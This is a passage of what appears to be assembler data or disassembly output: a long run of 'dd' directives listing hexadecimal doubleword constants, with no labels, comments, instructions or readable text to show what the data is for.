0E14E3AECh, 0C9A13E24h, 0B6D31364h, 39072F74h, 0E6C131D6h dd 0FA226002h, 0DC8E9713h, 99050112h, 3A827691h, 5A834059h dd 13B0AA9h, 3E072DF0h, 0BC5E1450h, 63C32D63h, 0FE5C0D26h dd 0AB21B312h, 372BBB44h, 0B4F92C2h, 90AB537Ch, 1E81988h dd 7C8BD4BAh, 22136ADBh, 6147FC81h, 0D6EF3994h, 3F57C804h dd 10F2991Ch, 6EEEE9DCh, 0B0F6A0B5h, 0F6297F16h, 296C9A54h dd 52FDE789h, 0AE6C6CF9h, 0F2F28A02h, 5B6F683Fh, 0B1511D20h dd 31E925CAh, 4378B343h, 0C5525825h, 0E9F724DDh, 5058A666h dd 888507CCh, 0C53059E8h, 55156858h, 1CBE360Fh, 0BF4C6ACh dd 0BEA23C64h, 52465AD4h, 0BA01D69Bh, 10B840CFh, 1DC80930h dd 0AC3FE369h, 18784E5Ch, 0D62417B3h, 44020979h, 0CA319C56h dd 62B0892Ah, 0EF1EF456h, 0EC561192h, 1A2855Fh, 0E745C454h dd 5E1E01Ch, 0F7AE5154h, 790BD76Ah, 4E38803Eh, 60E9125Ch dd 0F192A83Fh, 827204E7h, 0C0D9F747h, 974FFFC3h, 0D54C6578h dd 14249ECh, 281681B8h, 0FEE82D5Ah, 9E61671h, 20BF2DC5h dd 6005A5D9h, 9BE91F87h, 1DB99247h, 798417h, 0E4E809B2h dd 2F53B8DEh, 0A2A5CF69h, 7D05B220h, 857DB26h, 1698567Ah dd 0DC0552C2h, 66417323h, 24795D32h, 482667C8h, 4EB50FFAh dd 3DA2106Bh, 50EAF028h, 7C086F61h, 5C81C59Bh, 858A49Ah dd 0D62CE84h, 2D3E4659h, 56B461A8h, 0B70959B9h, 82F780A9h dd 14318191h, 0C96C8341h, 0D06D97Fh, 9D93415Ch, 2046F530h dd 421DE171h, 0C98331C6h, 0C51941B5h, 2A8349C1h, 0D97A31DFh dd 0DD50589Fh, 242C25EFh, 2084AB1Fh, 0BDD3B925h, 5356A113h dd 5F14262Ah, 918E352h, 7E686716h, 891A4Ah, 0A76E40E0h dd 27762820h, 0C2396BB4h, 290CA583h, 523A26C3h, 671A03DAh dd 0E5E94488h, 0E1807509h, 4FFD0415h, 0B8CE0104h, 0C556CF58h dd 4A5A3ED2h, 7F724410h, 125A4EC3h, 25D5B366h, 2D496453h dd 0B8B861D7h, 120EE8C1h, 2968C831h, 0C179B67h, 6A74E9B7h dd 2E022D16h, 1614A4Ch, 0EAD6C2h, 3D73285Ah, 7106560Dh dd 0D8F753BEh, 0F7A02E0h, 76E92CD5h, 2912AB74h, 271AFB06h dd 6E680499h, 8038A930h, 0BCC1F37Dh, 92E7A13Eh, 0BFC2ADE9h dd 69127E54h, 68E12B51h, 94637EE8h, 0D6A5563Ch, 53E93601h dd 3E6D3939h, 3A25920Eh, 99B63A01h, 5F61D8DDh, 0E093A628h dd 0C0401F7Fh, 10E60481h, 0B036F92Eh, 0BF0522F1h, 5EF1311Eh dd 0CFE99B02h, 0F166046Dh, 9FED3B9h, 7CCB6848h, 140C8950h dd 90D23381h, 0C1D2F708h, 0E94C282Eh, 5AD83CF5h, 41B5ED2Ch dd 0CBCB60B7h, 9E76AD68h, 0A17B40Ch, 29A43FE3h, 27AF18DFh dd 50FC6A1Ch, 0D4E0B8F6h, 2538E917h, 0CC23A88Dh, 0AE5BD815h dd 0B0EFA8D2h, 7E6A2340h, 0E1EA0B1Bh, 0B802480Dh, 0E30B5EBCh dd 25B8C9B9h, 61A11DEFh, 0A279981Ch, 832C4591h, 8C02B65Fh dd 581F0201h, 0AD6AB939h, 0B3E9C421h, 0EE902405h, 0AEFEB8CEh dd 305BA4C6h, 275779C8h, 8E8997E9h, 0D8C31002h, 0C43B8B09h dd 46FB4B17h, 21CEB81Ah, 97F54695h, 0EA58C58Bh, 0A2002298h dd 4D24290Ah, 0B83BC581h, 1F0B761Fh, 0D83DF5E5h, 17ED1A02h dd 68033218h, 0EC284826h, 9506BF66h, 0D99E6C56h, 6E02BD09h dd 0B9EF8C35h, 6165085Ah, 0BE784025h, 1D132801h, 25D97798h dd 0F561D60Dh, 0F1BC30D1h, 976D470Bh, 6D7E0A5Dh, 0F089813Ah dd 59CB297Eh, 0BEE92D89h, 4A7E9DC2h, 8A498496h, 0D8E3EABFh dd 532D4FBAh, 160D24F0h, 945967F8h, 0BBC8F0A7h, 2F34E20Ah dd 8706F977h, 4ABC31Eh, 8F7856C5h, 0CDCB1C29h, 1CC58B59h dd 179425BFh, 0DACA0379h, 593DD000h, 30E9496Eh, 5618427Eh dd 29265E5Dh, 0BA1850EFh, 788F648Ch, 0C2594A02h, 0C551BEFDh dd 0F9C813Dh, 0F1011730h dd 35047277h, 856F562Ah, 0B06900C3h, 0C17B980Ah, 8003E23Ch dd 0BE574CF2h, 942CE9BFh, 46C9269Ah, 57AA6D64h, 44FCA5E6h dd 0BA240095h, 17673D29h, 0D12138h, 4F43F11Dh, 0E92E108Ch dd 58890FE1h, 0A846D356h, 5BBA2765h, 22F286E6h, 0E201B5B1h dd 0FC1510Dh, 26C81420h, 0B13145Fh, 0C64AC325h, 566098D2h dd 7B779824h, 0DE892455h, 0A9F61D0Ah, 9394EFBDh, 3D2EE093h dd 7B0C6DE8h, 5FD79FE9h, 65E20AEBh, 10E26301h, 895E1258h dd 231A009h, 0F2F12180h, 4012A81h, 89565E36h, 95A63251h dd 4DE90CAh, 7E8719Fh, 8407014h, 5A42B05Eh, 0AD613402h dd 348C10E4h, 2882BE00h, 0CE816EABh, 0A61CF709h, 20A8507Bh dd 69A0FD0Dh, 0ADB142C5h, 8068B581h, 0F030F0EDh, 11C3824Ah dd 727B3D9h, 0F9D154C5h, 51621C8Bh, 0F16487C9h, 665CC8E0h dd 62FC1012h, 0C564861Fh, 18D4F601h, 0EA882206h, 4FB63E9h dd 6DB15102h, 1B8DF82h, 4073F0BBh, 4BD3F7C5h, 0F70E06D2h dd 7E36505h, 80DCFE80h, 0BD6D4C60h, 2C0DB105h, 3DAEBD47h dd 16388CCBh, 19290C1Eh, 3676901Ch, 0D0C5C31Bh, 7E4915E1h dd 0E6C15E5Eh, 8900D507h, 5A1D2057h, 5146FC1h, 77811F04h dd 0C91AFE06h, 0D79020ACh, 1095Eh, 647726C1h, 7BCD58DAh dd 41878283h, 1C920860h, 0B2D778A2h, 825C8938h, 0F2BC32F7h dd 4FE40938h, 33891EF1h, 42B1204h, 8C1E6C0h, 0ED4C688Eh dd 12E5EE52h, 0B64D461h, 0FB48505Bh, 0F85040B3h, 6A4BB0D3h dd 5D682388h, 0E9C22F85h, 0EC224B5Bh, 5D14F2B3h, 21B1FEE6h dd 39962F5Fh, 4C1927F8h, 681697E4h, 19F30272h, 0B4EC7C12h dd 0DB41C9E2h, 0F52E1828h, 64C3604Eh, 0C17644D8h, 451065Ch dd 7CAB0582h, 3C4865C0h, 0AC69582Eh, 79094701h, 0A0F22904h dd 0B90081Ch, 0A5AA609h, 0AA122A34h, 0DB671802h, 260C54C8h dd 1A5E92CFh, 195D8B99h, 0FDF0F18Fh, 83E59134h, 7AB72927h dd 2CF40E9Eh, 0D8680AA8h, 483F73F1h, 20BE1DF1h, 0CB57369Eh dd 65A17B38h, 57350B57h, 8E60D1B7h, 1A87796Eh, 0F8931A9Ch dd 0FEEE1C3Ah, 0B04D2E5h, 0EFCC6043h, 0C78A3E96h, 0FE12DE55h dd 0DCE63BA1h, 0D8650BD2h, 0D29780D3h, 4EF17FA4h, 0F58041B2h dd 0ED481E6Dh, 0B527241Ch, 0C580600Fh, 0C7D94CB9h, 0DDC86921h dd 0B654AC33h, 99985996h, 0C616EF0h, 0EBD14330h, 77FC143Bh dd 0AFE64925h, 25B35548h, 0FFB9A02Ah, 9AA8334Ah, 0FE4E60BEh dd 616015Ch, 14C60EC0h, 945DB9E0h, 4CB5205Dh, 19481C59h dd 1606F31Fh, 5FD8816Ch, 0C30902E0h, 0AC9BC3DAh, 522D688Dh dd 0BB62DC84h, 2E521F6Ch, 0BB8048E9h, 105C755Bh, 8D5B0644h dd 7C0DA8CFh, 9A60C28Ah, 0B1462C1h, 5EDF47ADh, 0FAE35213h dd 0A843509h, 0D84587D5h, 5677C70h, 3CE92C28h, 125997DAh dd 8DCB1269h, 0BC3030ABh, 5AFC200Bh, 8CA98EF7h, 388030F5h dd 0EA7366EBh, 11F4EBC3h, 9239350h, 1F90353Dh, 0B87279A1h dd 0ECE890BDh, 47D5075Ch, 37D6F74Eh, 5ED84C56h, 7174DACBh dd 277C42C0h, 1E40A256h, 9157164h, 2D59C809h, 0A035BAE8h dd 331D1AC9h, 0AAC69B25h, 9DB7C4F7h, 0ED50E8A5h, 7DFC92B4h dd 0AC92E66Eh, 93C2CA3Eh, 813C19Dh, 0B86F7204h, 0F63421AEh dd 41536154h, 582F3509h, 515C665Fh, 1A4F1858h, 4A4EB1Dh dd 4B3D2E09h, 945DC1D1h, 54959D0Ah, 763927C9h, 7355828Ch dd 775420F7h, 0F8ED1A3Fh, 7E40617Dh, 1EDA2BBFh, 49E8D02Bh dd 18AD382Dh, 0E70F1222h, 88087273h, 60F05064h, 0DA963EB8h dd 68160A22h, 0A0F318A4h, 9C011E40h, 0B4A28B99h, 190BBB20h dd 31011732h, 0BD555BD9h, 0D821791Eh, 1F7B88C9h, 0D3F8254Ch dd 0E961C034h, 0CB2FBEB5h, 2645B35h, 18ECD254h, 54EB514h dd 0CF151ECCh, 992890Dh, 5EA79910h, 165DF648h, 4002E1F2h dd 0D4D53142h, 4B6F0169h, 0DA011595h, 801B642h, 64F2AFE9h dd 9D16BE55h, 0FC007548h, 0D016A1E6h, 985D9006h, 86C606E6h dd 125FD903h, 1C660848h, 0A6809750h, 55EF001h, 0D4E17F4h dd 1B0E09DDh, 8683E656h, 5D5F6E8h, 30732C08h, 0FA6D19C7h dd 828A1702h, 0A02CF80Fh, 0E868665Bh, 992AE95Dh, 3F313C3Eh dd 0FBA9670h, 87B31931h, 0BCC6EB20h, 82576496h, 0EC58FB2Ah dd 61F1F625h, 608BCC2Ah, 9B4B7DBDh, 26C91958h, 5F13E651h dd 0E1B9F9F0h, 0D3E4A3A7h, 0E6B5CFEh, 26337A14h, 0CD0242B0h dd 7C68C01Fh, 608D0D4Eh, 95D0A6F8h, 0BE25F11Bh, 0ACDAED56h dd 0C9144A17h, 0E1B61BE8h, 72E6801Ch, 0CE61FCF7h, 66CCFE11h dd 1B71D53h, 5B26FB28h, 0C3271D5Dh, 81B252F3h, 5542CADAh dd 54093ED6h, 80EE4C58h, 17450535h, 84362918h, 40712E1h dd 40027A59h, 8263EDEAh, 636DF63Fh, 3EB3E0AFh, 7652EBB9h dd 4BF89FDAh, 9BFFCD4h, 6D61DD72h, 58E3C059h, 6B0FB398h dd 0E419B151h, 0F290E254h, 2770DEC1h, 8FCB3F21h, 0B2F433F9h dd 563DE01Eh, 63E20E28h, 6250CA67h, 55CE0FF2h, 667FDB67h dd 68D9E2C1h, 52C20A85h, 51A00F74h, 362B89BEh, 0C1097554h dd 0A1A1E3E9h, 0CBFEA5A3h, 87C4FD9Ah, 2D81B31Fh, 0C7E92725h dd 5FDC093Fh, 5C40FB59h, 7568E9F7h, 0DC329DE3h, 0AEC8F68Fh dd 58C73104h, 6F4439AEh, 1653B361h, 37901428h, 2C68455Fh dd 3CEAF2E4h, 0BD449851h, 5815F12h, 90A3E6F1h, 0D892D54Bh dd 3925E951h, 0F0C364E0h, 245B686h, 0CABA840Fh, 547F0EADh dd 0A356C066h, 42285736h, 0F20AD849h, 9E0BDB61h, 0E80D6F03h dd 0EAC9E037h, 53A3D59h, 816134A7h, 8BF0A958h, 0CFEDFC53h dd 512FAED9h, 60F3019Eh, 3B090537h, 115E33AFh, 4825A3CEh dd 0C1DA3A38h, 5472A454h, 0B607C3AAh, 4B3E6143h, 954B8BE3h dd 0E76804CCh, 0BA4A90ADh, 33700C97h, 42D2F712h, 0F3659A03h dd 1916FDCCh, 1796D5D1h, 0D9BCBA01h, 45FD291h, 9084015Fh dd 2C519C1h, 1D2DE3Ah, 68F1F766h, 0D93A551Fh, 85DF6DF8h dd 0F6EC2615h, 4DE60B9Eh, 0B327E471h, 0CA124AF5h, 0F5E31149h dd 0EB027F0Eh, 0C064F256h, 0FA14D7E9h, 183A9022h, 0CF21813h dd 6A16C4E1h, 5580073Eh, 102BBAE9h, 4001C729h, 461E04E3h dd 0C3493779h, 0E1597653h, 667FD968h, 36080BDAh, 0F67E00A5h dd 60321C02h, 2A0E0C27h, 29177D97h, 838C5EF3h, 0A41EBE86h dd 434C0925h, 133F81E7h, 7FB716E2h, 3631317Bh, 4D080D8Dh dd 0EFF92097h, 40CD0F5Ah, 68525487h, 2246310Ch, 0D109205Ah dd 1C013C92h, 0E9448CA4h, 4F6EE79Bh, 4162C6E8h, 0CFC048D8h dd 0CF3067A6h, 251D0C52h, 0E03A6079h, 10010506h, 0D82C5AB6h dd 76704A09h, 0E9745AF3h, 60D186Ch, 294D6871h, 0CF5BB2CBh dd 1A930790h, 0C762559Bh, 660076Ch, 981B112Dh, 65684609h dd 79A7C40Dh, 6D760055h, 0E95D5FA9h, 8FB34CE0h, 0F9290A0Bh dd 3512782h, 407E64A5h, 204B950Ch, 63DC31F5h, 880EC74Eh dd 37E4E2DEh, 1CF75001h, 9E00993Bh, 39A81414h, 0D1D58C30h dd 1778E5F5h, 1621AABCh, 0B27C0130h, 751CDC22h, 10033C6Dh dd 5F2DD28Bh, 973F0B45h, 488D0E6Ah, 0B6005362h, 1EE8071h dd 0FE0BD6F6h, 2952E9C6h, 90661404h, 29B0009h, 0DAF74E0Fh dd 289299E9h, 3DBD5502h, 407DB901h, 3B7AEDF5h, 97515CAh dd 5B1422F9h, 652C49C9h, 2852E598h, 25310665h, 51BA1B9Ch dd 8A2B07EFh, 575602A0h, 90F2895Eh, 0B93B2E93h, 2F17AB2Eh dd 5EB21E9Ch, 7125E194h dd 0CE9E28Ch, 0E3C1BFE8h, 0F3810500h, 11A1623Bh, 169AE34Bh dd 89001D04h, 0F5F41CBBh, 6091E918h, 1E74C77Dh, 0C93D1D29h dd 0B42007B3h, 48AA6685h, 3AE6C7A1h, 0BB849B34h, 8AB4F290h dd 0F6CC00FEh, 0CFC480DCh, 0C018E4D0h, 931007ECh, 1DE74908h dd 0EBF80793h, 0BAEB494Ch, 0BA07B58Ah, 5FC16BE1h, 16E2DE30h dd 0F2B70E5h, 14C0EA6Eh, 61E911B1h, 422EDC60h, 0C904E2C1h dd 8D5E024Eh, 880BD469h, 325CF58h, 1347510Fh, 456580D9h dd 0F807672Ah, 838BD336h, 9DF9976h, 6295B68h, 1B9A3A02h dd 47B45000h, 43B62452h, 0CE1F1C4Dh, 0F401BDC6h, 2FEC865Ah dd 588F79C1h, 81DE0100h, 7FD5EE02h, 7D5B2755h, 0E07459A4h dd 809DF7B0h, 843C5DE1h, 0D339011h, 44991E5Ah, 3272E18h dd 49285160h, 0FA292FB8h, 0EE5DB3A2h, 5C1697F1h, 592DA7B3h dd 3807D22h, 1F507EBBh, 7F17DC14h, 0D740078Fh, 0E935740Fh dd 0DCFF5A41h, 5329506Bh, 228D9968h, 292025E6h, 0B5B4B866h dd 135CF38Ah, 69830C02h, 0D1D8B02Dh, 257D7972h, 8351185Fh dd 0EE59E304h, 0F93B4181h, 0B880A37Ch, 21C95E54h, 31E8D126h dd 9E0DCC02h, 1955810h, 82BCF52Dh, 22C68921h, 69AD3F5Ah dd 0B066F86Dh, 67C025EAh, 70A8462h, 135A3F1Dh, 9273A754h dd 0DF1C99F9h, 70666D68h, 5165B0B3h, 88E69534h, 3A3EE05h dd 0CEC280D0h, 0BFB4CAE9h, 0CF2FA12Fh, 9A434A6Eh, 9C0870CCh dd 96C68114h, 606CE45Ah, 9D049451h, 78E9AD37h, 0BB0A5DFFh dd 6CE267A5h, 0B121FF6h, 7CCBE4C5h, 693C321h, 0BFCAEC21h dd 0C17AB0DFh, 90057EEAh, 0EB1DC0FAh, 3F3243FBh, 194D7CF6h dd 27814C7Fh, 0E2A1E3C3h, 77ADC55h, 325FF829h, 6D6158C6h dd 3FD5C9F2h, 36BEF134h, 370944DBh, 89132BE1h, 0F57C82D5h dd 42EA4264h, 590800D7h, 5FE9EB29h, 836E5FF3h, 0B3F446Ch dd 26063800h, 6DE921E0h, 0E720BDB2h, 0E8556A68h, 0A59172Ch dd 0DF54F601h, 9941291Dh, 343B6074h, 12EBB936h, 0BDF82691h dd 5D01AEC1h, 0A4413E59h, 5E6D48BEh, 3FB0B7Bh, 0D75EB952h dd 0B8609294h, 0CBC0B60Fh, 2D4C871Ah, 0F5155694h, 0DD54AC1h dd 5B8B6BA9h, 362AD4B8h, 0EB8C4EA4h, 74BC102h, 76EB0156h dd 0BD7F010Ch, 0EE17E941h, 38FFA055h, 0F729E1h, 5BFE05D8h dd 0A35400Fh, 37A1D38h, 0DB20E80Dh, 2D220F6Eh, 8101C0FEh dd 3A58C701h, 203A2Dh, 13E91330h, 7084D7A8h, 0C13F7F68h dd 7E06EE24h, 0EFB35802h, 0CFE185E5h, 98C95DFCh, 34A8A15Eh dd 4AD470B5h, 2EAFF113h, 0A2CABF95h, 85D65F7Eh, 34CC8AB8h dd 9DF80C83h, 2AE2538Bh, 646FCEFCh, 4FF50EA0h, 0D9010381h dd 0C8D78853h, 59525B39h, 0F86828E7h, 0CE25E0BBh, 9FE92F9Ah dd 0FB56F80h, 0F630FD86h, 0F58008D7h, 0E8281C58h, 4933959h dd 50AFD2A8h, 81D6EEE2h, 0F65D2F40h, 7BC59F73h, 0B22B1688h dd 0C456563Ah, 5EF1244Fh, 0A0303EE1h, 142BB63h, 65CD7AF2h dd 4EC44026h, 0E9A08829h, 2063FC6h, 0D60150BDh, 4008831Ch dd 2FE9141Ch, 0DCC9CDC3h, 759E692Dh, 0E0041CF4h, 0EFBE94Ch dd 99EE1E8h, 36F9BC12h, 3E696884h, 0E913D3E6h, 222AB119h dd 54681CB4h, 5F2D9A07h, 7F431BF2h, 3579843Ah, 3D91ECE4h dd 0B5E44404h, 61B7A25Eh, 583E3B4Eh, 1E74548Ch, 0DA076082h dd 27F22528h, 2B132758h, 67ED0E6Fh, 4EE90840h, 1BF3160Fh dd 0E4CAB26Ah, 214AC4D8h, 48705BA2h, 9CE445EEh, 0D641B5B5h dd 0E04A8526h, 0F805640Dh, 255A687Dh, 582074CDh, 0EC5604DFh dd 0D4CBE969h, 0E32CBFF6h, 1DB06992h, 0EF420A09h, 0FBC10C7Ch dd 0A76CF7E9h, 64C96809h, 7A8454D1h, 0EEC7EB59h, 791435C4h dd 45865439h, 5BE8315Dh, 5959517Ah, 0FBC9D298h, 67A1260h dd 5B06665Fh, 4901FE4Bh, 0E91058AEh, 8A3FD5A9h, 0D9891392h dd 458BD65Dh, 0CBF2D109h, 0D101E06h, 7AE0214Bh, 63E083E6h dd 60E36573h, 0A8A0065Ah, 596521AAh, 0FCA8FCCEh, 7C9FF64Bh dd 0FA171425h, 81C67934h, 0BA54DE58h, 28820B15h, 0C40AC140h dd 834BFF02h, 94F3B520h, 18A0C2C7h, 0EDD21DF0h, 38B42467h dd 50848A5h, 0A43DF2E9h, 1103D9DEh, 0CF0118A4h, 6EFC359h dd 1FC5A8B3h, 69F19FEh, 0A0F1756Fh, 947B053Dh, 0A55F42A7h dd 0A6F27609h, 29243C8Bh, 0BA066FFAh, 2CE81054h, 76705F02h dd 605AD731h, 82338B66h, 2DCD941h, 890D5459h, 34C63DC1h dd 802DEB20h, 58CFE885h, 0EE279EB1h, 4F0F0958h, 27DF439Eh dd 0D094E9D6h, 0A6CBE2BCh, 0E78870A0h, 89246858h, 86653B21h dd 2001A683h, 80BF0A74h, 0F420C5CDh, 40239879h, 500CB9D9h dd 742F5302h, 236E0A16h, 0C24A59h, 0E343FD9Dh, 0AC4991E9h dd 3D10609h, 94827B7Ch, 48C28080h, 161E14Ch, 8D48895h dd 0F1685E02h, 0E94DA20Bh, 0EC904BEFh, 0DAA655EBh, 0D45BF090h dd 0E9F802F9h, 3CFEE5FAh, 0ECC7E153h, 61FBD552h, 1352540h dd 13D88B2Eh, 0EF355422h, 0A3A9DF64h, 97344E50h, 0C4215204h dd 6916FAF9h, 0F898430Bh, 47829D1Ah, 18426102h, 83DC1C3h dd 348B97F3h, 2AE917D8h, 3A415Bh, 633F8DB9h, 79F1814Eh dd 6A5F2A19h, 0D642070Ch, 0E8555262h, 46182651h, 74EC029Eh dd 28D77EFBh, 59170893h, 0C80FAB21h, 0B37B2830h, 0A3FC0BDFh dd 4A9E34E6h, 27685750h, 0ED510EA9h, 0AB5E5284h, 0CB13C6C2h dd 0F54D79Bh, 4C6B31BAh, 4A4E3610h, 2BF387D0h, 2B4F5CFDh dd 0F06DD15Bh, 0AD08E05Eh, 5C5A4A9Fh, 983D1DDFh, 4A890C5Fh dd 4E3CCC2Eh, 16DFF915h, 2D241DE9h, 5D8C09BEh, 42028C50h dd 0E96B9359h, 270B545Ah, 0D3503106h, 8E48FC96h, 255B9E2Fh dd 0CD40F9E9h, 1D0FF3BBh, 6457422Ch, 2896A637h, 7ABA00EAh dd 68506351h, 0E99B3DE2h, 941AF102h, 90A8815Ch, 13209E03h dd 0F66FD63Bh, 0F0A24F8Eh, 0C473EFCBh, 2DE138AEh, 50CD3F28h dd 0FC1882D4h, 0C105BD1Ch, 31ED4ED9h, 8CD99DCh, 5815665Dh dd 894E257Bh, 95A2E423h, 227C430Ch, 3F1A3274h, 0A98D701h dd 5384C308h, 0E6FC23E9h, 0E4C38004h, 126FAC88h, 7DB41C16h dd 5A18782Fh, 777EE426h, 0FCD2B14Bh, 1F57605h, 833CCABFh dd 3BC13F74h, 0CD55F921h, 38F94756h, 0E3E758C9h, 0E93CE82Dh dd 3E3B440h, 8107EDC1h, 0CE4E8D98h, 0F5017C76h, 0A8E5085Eh dd 1920EF89h, 30E07DE7h, 1DE6523Fh, 97F3376h, 3AE9F817h dd 16C3C8E4h, 0B3D6D0Eh, 4C2C5h, 0B35303A2h, 5C1FC272h dd 85C7800Dh, 293A0507h, 60A8FD4Ch, 6B17FBC2h, 2404873h dd 122AB010h, 19A1EA89h, 0A8B5E36Ch, 77885FCDh, 1F0EBD54h dd 0F266E304h, 0C10228F7h, 0D8301016h, 598BC3B9h, 5C5CA950h dd 0CA68C4FAh, 913D695h, 7A052BF0h, 59B13DBDh, 80C1B925h dd 0F8CC835Eh, 0E1300B6Eh, 0EE34D156h, 1FBC2E3Eh, 12DA1FD5h dd 43484C3h, 0CD42E6F0h, 0DA5E6830h, 4F225DAFh, 75D3CA58h dd 96E46E09h, 1952A0DFh, 383392E3h, 0C83D5BF1h, 8BA36F2Eh dd 60D35759h, 2A954569h, 6837C2EEh, 0BE6C4283h, 0E1385909h dd 2C967875h, 6D3C3331h, 28AE35DEh, 0A1D7DE6Eh, 30B0AA27h dd 0B5D77AD3h, 24E08140h, 0E4332FABh, 0F15A105Fh, 9D2F5C0Eh dd 9055CA2Ch, 80A12F78h, 0FE0F2C0Ch, 64D0F6C0h, 42AD0DCCh dd 0C69FC9DEh, 5848F544h, 0F12325ECh, 8A6EAD0Bh, 7E30258h dd 493303B0h, 861E2F7h, 0F86979D5h, 9630E450h, 1042EAFBh dd 49C14AA3h, 0A804BA4Dh dd 0B6A08484h, 0DEDEA5A9h, 649AE6CAh, 6362BA54h, 0A6B5C051h dd 45800009h, 7F700DB9h, 0F9582977h, 0F68B10D9h, 1EE6D116h dd 7E14C1FCh, 8FF02144h, 1855E94Bh, 1287EFAFh, 6F130Ah dd 0BC4F1BBCh, 0D805F743h, 6DDA2D40h, 0C7016DC1h, 0D2DEF142h dd 4041968Ch, 423281DAh, 7F846E17h, 8E5818A3h, 0EF200300h dd 1C6814Fh, 0B010E01Dh, 84E9F705h, 121F9954h, 3C66CF87h dd 9258260Dh, 75D5109Ch, 0AD2A0FAh, 3CDED37h, 0D564A131h dd 0E4759C50h, 21D30CE8h, 6EE60581h, 75A277Ch, 0D4366D8Fh dd 1386EC29h, 4D4EE7E9h, 80E5DD55h, 3E12BDE8h, 0F11C4A65h dd 3757D429h, 0C9DD0122h, 0A18B5B11h, 1BE5B600h, 2F58F835h dd 0E5A541E2h, 0AFE9F010h, 0CE76543Fh, 0FAE225A1h, 96F70236h dd 5961FA4Ah, 9C323ADCh, 69055E02h, 1E248409h, 2E3D366h dd 7D308CADh, 0EAE31163h, 0C78CF855h, 0A0D64889h, 870A3124h dd 3B58C230h, 515C0177h, 0CBC1C5B1h, 7E240361h, 0A0439D01h dd 0C31688CCh, 550322BAh, 37168CBDh, 43D8004Eh, 8111DF4Bh dd 1D0409C9h, 0DE93A57h, 8D0412FEh, 77902A60h, 0BD38E9DBh dd 1B76D489h, 5928A4EFh, 57F52992h, 4CBD9A96h, 24594A80h dd 0DF4BC056h, 3112637Ah, 300BEF83h, 45A900D7h, 0B5385779h dd 7C61882Eh, 1F8C21h, 489D391Ch, 0B405684Bh, 0F06C1B27h dd 209EDBCAh, 2DEB870Fh, 328208D5h, 0FE514FFBh, 0C9DF7041h dd 3C353EFDh, 4320A3A8h, 173D5948h, 92618702h, 680051D2h dd 779B1C8Ah, 3A28F708h, 0AD9EC997h, 56E11F45h, 53C24B96h dd 0E1AF755Ah, 0F15EA449h, 0CFE95C12h, 7A3FAA8Dh, 15DE7A06h dd 0C42FFE71h, 16EFE561h, 5D220D90h, 857501Eh, 3B7C04F9h dd 0FA5C0154h, 0C12A434h, 1DC5B708h, 0E3581201h, 4AD2CA45h dd 654E6011h, 4878B123h, 7826E97Ch, 0C18F86FEh, 0F8B10A02h dd 88408992h, 9C5ECBC3h, 0F3289735h, 0CE1A2D08h, 89C6376Ch dd 4486C83Bh, 1C945F1Dh, 4875E9F8h, 0F8D33530h, 10FA75DEh dd 8C16B62Eh, 5BBFD1Ch, 712668B7h, 0E937E537h, 5D59CF51h dd 0BFA452D4h, 362105A0h, 8BBF0F94h, 0BE3FE688h, 4AFB279Dh dd 0A14EAA0Ch, 0B23562EDh, 0C2EB211Fh, 4FE60AB0h, 27B80B48h dd 0A1FE51Bh, 97F2A6EEh, 234A25EFh, 274AD6E8h, 56F5FCC2h dd 42BE1C79h, 1209892h, 0F93BCDD0h, 59376503h, 25681BF0h dd 0DB1928DDh, 7BB93010h, 791AC8A0h, 0B4535224h, 0A15A502h dd 5BF9C321h, 0AA6703A3h, 1810ED6Dh, 0AD0B500Bh, 8132D831h dd 6D53E141h, 0EF5E96A0h, 64C75B80h, 4BE94159h, 9E691692h dd 6F5226A7h, 0C9DCAE27h, 109D28B5h, 51409F2Ch, 49DF6853h dd 684CC47h, 2929AF08h, 0B75AA5F0h, 9F20B146h, 90FB056h dd 1501696Eh, 5D38F778h, 70102D20h, 0FFD2B044h, 0E3027F29h dd 1D6531F7h, 19F1140h, 89B058F2h, 374AAAB2h, 8813A912h dd 0C3A011BDh, 9C60AEE9h, 3B08682Ah, 5A422770h, 0CA078FF8h dd 373F2017h, 5F91C260h, 0E9B90BADh, 0E722ED3Eh, 0A1C1E289h dd 7DA74E1Dh, 0ED09D44Bh, 0E50FD166h, 0F842254h, 0A2A5A95Eh dd 45E5A6Eh, 0FF60EB5Bh, 0B3252C3h, 0FB012588h, 28081688h dd 0D35F826h, 0F3293FC5h, 5E08022Ch, 25CF16DDh, 0D271B48Ah dd 964752ADh, 5C5353D1h, 921C2FF8h, 7CB2DD5Fh, 56028648h dd 155AA1Ah, 22A6211h, 685C290Ah, 82C47AC6h, 720516E1h dd 982D024Bh, 0C1D04886h, 6534C718h, 27E93958h, 62977EDCh dd 8020A519h, 965A33C3h, 0C588626Fh, 7DD6BEBAh, 7E54D509h dd 0A09E64E5h, 8C000597h, 403D4548h, 3B1ABA25h, 35006029h dd 26E81219h, 5809C609h, 7E215D68h, 27096E85h, 21B08944h dd 140A7727h, 455620FAh, 50F0212Eh, 0C5B5C322h, 0BC92BF98h dd 207DE5D7h, 381F326Bh, 684B706Ah, 0ED497656h, 0AA943B07h dd 4A55AA8h, 4036FFA4h, 5AA88FC2h, 9C8948B5h, 8B0DE226h dd 0BB04D0F7h, 4DB60024h, 975AF588h, 0A7237F03h, 795D9227h dd 31E34DD1h, 0E903F2D4h, 0D2F7DCC8h, 0DE988C5Fh, 0C24641B6h dd 0D0295E58h, 9C6E40F2h, 242D305Ch, 7B6955CFh, 0AF0F4286h dd 0BF0A17F9h, 67ADAD9Ah, 74E9849Ah, 0BB38AB39h, 0D7E98087h dd 89908B92h, 9B1BB20h, 53746859h, 7B7B3B0h, 0EAD81895h dd 30F43E84h, 8C497C96h, 80B5335Ch, 0BE2548CEh, 760C026Fh dd 86A0E35h, 25721E2h, 41E7030h, 2FCD8257h, 0CB96D7D9h dd 545FFB49h, 0A05413BEh, 0DD3988F0h, 1528A85Bh, 2F9C7120h dd 5751D529h, 64C0FE0Bh, 0C47C4ACCh, 0FE69BAA4h, 623E4821h dd 67EA366Dh, 0B7F1C929h, 0F3C889EBh, 27CCA442h, 0E9248A96h dd 40A61707h, 892ECD27h, 0AE541487h, 42CE05E9h, 41722F98h dd 4A545A4Dh, 99AB6891h, 0E5C16650h, 0C2515802h, 0E220A425h dd 725D05EBh, 0F3A9DFA2h, 9786B596h, 6800944Ah, 0EB80BCB3h dd 764D9825h, 0AAE33201h, 41611C12h, 875F0108h, 25684B48h dd 6BDA6A80h, 0B450520Fh, 0ABCC4423h, 0EC04CFE8h, 0F07BE9B7h dd 37EC481Eh, 84BB8BC9h, 0B1C218B2h, 5C56CAD9h, 0E56ACC4Fh dd 5B674006h, 4AFD2DE9h, 3BBA8F5Ch, 2A68C00Bh, 4EB53EA7h dd 48230034h, 